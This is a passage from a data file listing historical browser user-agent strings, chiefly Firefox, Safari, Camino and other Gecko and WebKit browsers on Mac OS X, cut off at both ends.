rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; fr; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; fr; rv:1.8.1.16) Gecko/20080707 Thunderbird/2.0.0.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; fr; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; it-IT) AppleWebKit/521.25 (KHTML, like Gecko) Safari/521.24\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; it-it) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; it-it) AppleWebKit/523.10.6 (KHTML, like Gecko) Version/3.0.4 Safari/523.10.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; it-it) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; it; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; it; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; it; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; ja-jp) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; ja-jp) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; ja-jp) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; ja-jp) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; ko-kr) AppleWebKit/523.15.1 (KHTML, like Gecko) Version/3.0.4 Safari/523.15\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; ko; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; nb-NO; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; nb-NO; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; nl-NL; rv:1.8.1.3) Gecko/20080722\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; nl-nl) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; nl; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; pt-BR; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; ru-ru) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; ru-ru) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-SE; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-SE; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-SE; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-SE; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-SE; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-SE; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-SE; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/523.10.3 (KHTML, like Gecko) Version/3.0.4 Safari/523.10\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/523.10.6 (KHTML, like Gecko) Version/3.0.4 Safari/523.10.6\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; sv-se) AppleWebKit/523.12.2 (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; zh-cn) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3\nMozilla/5.0 (Macintosh; U; Intel Mac OS X; zh-tw) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13.3\nMozilla/5.0 (Macintosh; U; Linux; en) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8\nMozilla/5.0 (Macintosh; U; Mac OS X 10_5_7; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5\nMozilla/5.0 (Macintosh; U; Mac OS X 10_6_1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/ Safari/530.5\nMozilla/5.0 (Macintosh; U; Mac OS X Mach-O; en-US; rv:2.0a) Gecko/20040614 Firefox/3.0.0\nMozilla/5.0 (Macintosh; U; PPC Linux; en) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; de; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; de; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; de; rv:1.9.0.9) Gecko/2009040820 Firefox/3.0.9\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; de; rv:1.9.1) Gecko/20090624 Firefox/3.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-GB; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-GB; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-GB; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-GB; rv:1.9.2.19) Gecko/20110707 Firefox/3.6.19\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-GB; rv:1.9b5) Gecko/2008032619 Firefox/3.0b5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1 GTB5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.0.12) Gecko/2009070609 Firefox/3.0.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.0.16) Gecko/2010010314 Firefox/3.0.16 Flock/2.5.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.0.4) Gecko/20081029  Firefox/2.0.0.18\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.0.7) Gecko/2009021906 Firefox/3.0.7\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.1b2pre) Gecko/20081027 Minefield/3.1b2pre\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.1b3pre) Gecko/20090223 SeaMonkey/2.0a3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.1b3pre) Gecko/20090304 Shiretoko/3.1b3pre\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.2.22) Gecko/20110902 Firefox/3.6.22\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en; rv:1.9.0.19) Gecko/2010051911 Camino/2.0.3 (like Firefox/3.0.19)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en; rv:1.9.2.24) Gecko/20111114 Camino/2.1 (like Firefox/3.6.24)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; fr; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; fr; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; fr; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; fr; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; ko; rv:1.9.0.5) Gecko/20071216 Firefox/2.0.0.11\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; de; rv:1.9.2.28) Gecko/20120308 Camino/2.1.2 (MultiLang) (like Firefox/3.6.28)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-GB; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.1) Gecko/2008070206 Firefox/3.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.12) Gecko/2009070609 Firefox/3.0.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.16) Gecko/2010010314 Firefox/3.0.16 Flock/2.5.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.7) Gecko/2009021906 Firefox/3.0.7\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.9) Gecko/2009040820 Firefox/3.0.9\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081212 Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 GTB7.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; fr; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; it; rv:1.9.0.19) Gecko/2010111021 Camino/2.0.6 (MultiLang) (like Firefox/3.0.19)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; da-dk) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; de-de) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; el-gr) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/525.3+ (KHTML, like Gecko) Version/3.0.4 Safari/523.12.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/528.1 (KHTML, like Gecko) Version/4.0 Safari/528.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0 Safari/528.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit/528.5+ (KHTML, like Gecko) Version/4.0 Safari/528.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en-us) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; es-es) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr-fr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; hu-hu) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; it-it) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; it-it) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; ja-jp) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; ja-jp) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; nl-nl) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; nl-nl) AppleWebKit/533.16 (KHTML, like Gecko) Version/4.1 Safari/533.16\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; pl-pl) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; sv-se) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.22\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; sv-se) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; tr) AppleWebKit/528.4+ (KHTML, like Gecko) Version/4.0dp1 Safari/526.11.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en-gb) AppleWebKit/526+ (KHTML, like Gecko) Version/3.1 Safari/525.9\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en-gb) AppleWebKit/526+ (KHTML, like Gecko) Version/3.1 iPhone\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_3; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_3; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_3; sv-se) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_4; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.0.4 Safari/523.10\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_4; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1 Safari/525.13\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_4; fr-fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_5; en-us) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_5; fi-fi) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.12\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_5; fr-fr) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/528.16 (KHTML, like Gecko)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/530.1+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/530.1+ (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; en-us) AppleWebKit/530.9+ (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; fr-fr) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; it-it) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; ja-jp) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; nl-nl) AppleWebKit/530.0+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_6; tr-TR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/532.0+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; en-us) AppleWebKit/532.0+ (KHTML, like Gecko) Version/4.0.3 Safari/531.9.2009\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/3.2.3 Safari/525.28.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_8; zh-cn) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_6_1; en_GB, en_US) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\nMozilla/5.0 (Macintosh; U; PPC Mac OS X 10_8_1; nn-no) AppleWebKit/533.21.1 (KHTML, like Gecko) iCab/4.8b Safari/533.16\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-0; en) rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; XH; rv:8.578.498) fr, Gecko/20121021 Camino/8.443+ (Firefox compatible)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; XH; rv:8.578.498) fr, Gecko/20121021 Camino/8.723+ (Firefox compatible)\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; da; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de-DE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de-DE; rv:1.7.5) Gecko/20041122 Firefox/1.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de-DE; rv:1.7.6) Gecko/20050223 Firefox/1.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de-DE; rv:1.7.7) Gecko/20050414 Firefox/1.0.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de-DE; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8) Gecko/20051107 Firefox/1.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.1.5pre) Gecko/20070605 Camino/1.6a1pre\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20021216 Chimera/0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20021219 Chimera/0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20021220 Chimera/0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20030109 Chimera/0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20030111 Chimera/0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20030306 Camino/0.7\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.3) Gecko/20030312\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.3a) Gecko/20030101 Phoenix/0.5\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.4) Gecko/20030624\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.4) Gecko/20030624 Netscape/7.1\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.4a) Gecko/20030401\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.5) Gecko/20031026 Firebird/0.7\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.5.1) Gecko/20031120\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.6) Gecko/20040113\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.6) Gecko/20040206 Firefox/0.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7) Gecko/20040517 Camino/0.8b\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7) Gecko/20040614 Firefox/0.9\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7) Gecko/20040616\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.10) Gecko/20050720 Firefox/1.0.6\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.13) Gecko/20060414\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.2) Gecko/20040803\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.2) Gecko/20040804 Netscape6/6.2.3\nMozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; 